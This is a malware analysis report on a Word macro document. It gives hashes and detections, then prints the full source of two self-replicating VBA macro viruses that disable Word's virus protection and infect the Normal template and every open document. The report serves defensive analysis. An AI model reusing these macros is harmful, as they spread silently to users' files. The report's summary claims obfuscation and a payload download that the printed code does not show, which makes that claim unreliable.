Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c9235ed013f4219b…

MALICIOUS

Office (OLE)

35.5 KB Created: 2006-01-10 09:10:00 Authoring application: Microsoft Word 8.0 First seen: 2016-12-24
MD5: f4e55cf951f5d48ff927e96a9b177639 SHA-1: aac0e1be25f14795433d7b003968d292d256a88e SHA-256: c9235ed013f4219b323e955d9c7940c2faa320bca46a839d6c521c365114fd2f
176 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains legacy WordBasic and VBA macros, indicated by the OLE_LEGACY_WORDBASIC_AUTOEXEC and OLE_VBA_MACROS heuristics. The Document_Open and Auto_Close macros suggest an attempt to execute code upon opening or closing the document. While the macro code itself is obfuscated and contains self-modification attempts, the presence of these macros and the ClamAV detections (Doc.Trojan.Thus-10, Doc.Trojan.Titch-3) strongly suggest a malicious intent, likely to download and execute a second-stage payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Thus-10 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Thus-10
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Attribute VB_Name = "Arbind2000"
Sub AutoClose()
'arbind2000

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3795 bytes
SHA-256: e8fd23099947455492252d801848ab05453dd619166d01b313451af8a9449386
Detection
ClamAV: Doc.Trojan.Titch-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
'Thus_001'
'Anti-Smyser'
' This virus is an alteration of a virus which was
' designed to delete all files from one's C: drive on Dec 13th.
' This code is completely benign.
    On Error Resume Next
    Application.Options.VirusProtection = False
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .DeleteLines 1, NormalTemplate.VBProject.VBComponents.Item(1) _
        .CodeModule.CountOfLines
    End If
    If NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
        NormalTemplate.VBProject.VBComponents.Item(1).CodeModule _
        .InsertLines 1, ActiveDocument.VBProject.VBComponents.Item(1) _
        .CodeModule.Lines(1, ActiveDocument.VBProject.VBComponents _
        .Item(1).CodeModule.CountOfLines)
    End If
    If NormalTemplate.Saved = False Then NormalTemplate.Save
    
    For k = 1 To Application.Documents.Count
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.Lines(3, 1) <> "'Anti-Smyser'" Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.DeleteLines 1, Application.Documents.Item(k) _
            .VBProject.VBComponents.Item(1).CodeModule.CountOfLines
        End If
        If Application.Documents.Item(k).VBProject.VBComponents.Item(1).CodeModule.CountOfLines = 0 Then
            Application.Documents.Item(k).VBProject.VBComponents.Item(1) _
            .CodeModule.InsertLines 1, NormalTemplate.VBProject.VBComponents _
            .Item(1).CodeModule.Lines(1, NormalTemplate.VBProject _
            .VBComponents.Item(1).CodeModule.CountOfLines)
        End If
    Next k
End Sub
Private Sub Document_Close()
    Document_Open
End Sub
Private Sub Document_New()
    Document_Open
End Sub












































































































Attribute VB_Name = "Arbind2000"
Sub AutoClose()
'arbind2000
'An experiment in Macro programming ;)
'Minimum stealth, no encryption, No payload, No mail replication
'If you had looked you could have found and deleted it but..
'You probably never knew it was here!
  On Error Resume Next
  Application.Options.VirusProtection = False
  Application.Options.SaveNormalPrompt = False
  Application.Options.ConfirmConversions = False
  Dim x As Integer
  Dim found As Boolean
  found = False
  x = 1
  For x = 1 To NormalTemplate.VBProject.VBComponents.Count
    If NormalTemplate.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    Application.OrganizerCopy ActiveDocument.FullName, NormalTemplate.FullName, "arbind2000", wdOrganizerObjectProjectItems
  End If
  If NormalTemplate.Saved = False Then NormalTemplate.Save
  
  found = False
  x = 1
  For x = 1 To ActiveDocument.VBProject.VBComponents.Count
    If ActiveDocument.VBProject.VBComponents.Item(x).CodeModule.Lines(2, 1) = "'arbind2000" Then found = True
  Next x
  If Not found Then
    NormalTemplate.VBProject.VBComponents("arbind2000").Export ("c:\arbind2000.tmp")
    ActiveDocument.VBProject.VBComponents.import ("c:\arbind2000.tmp")
    ActiveDocument.SaveAs ActiveDocument.FullName
    Kill ("c:\arbind2000.tmp")
  End If
End Sub

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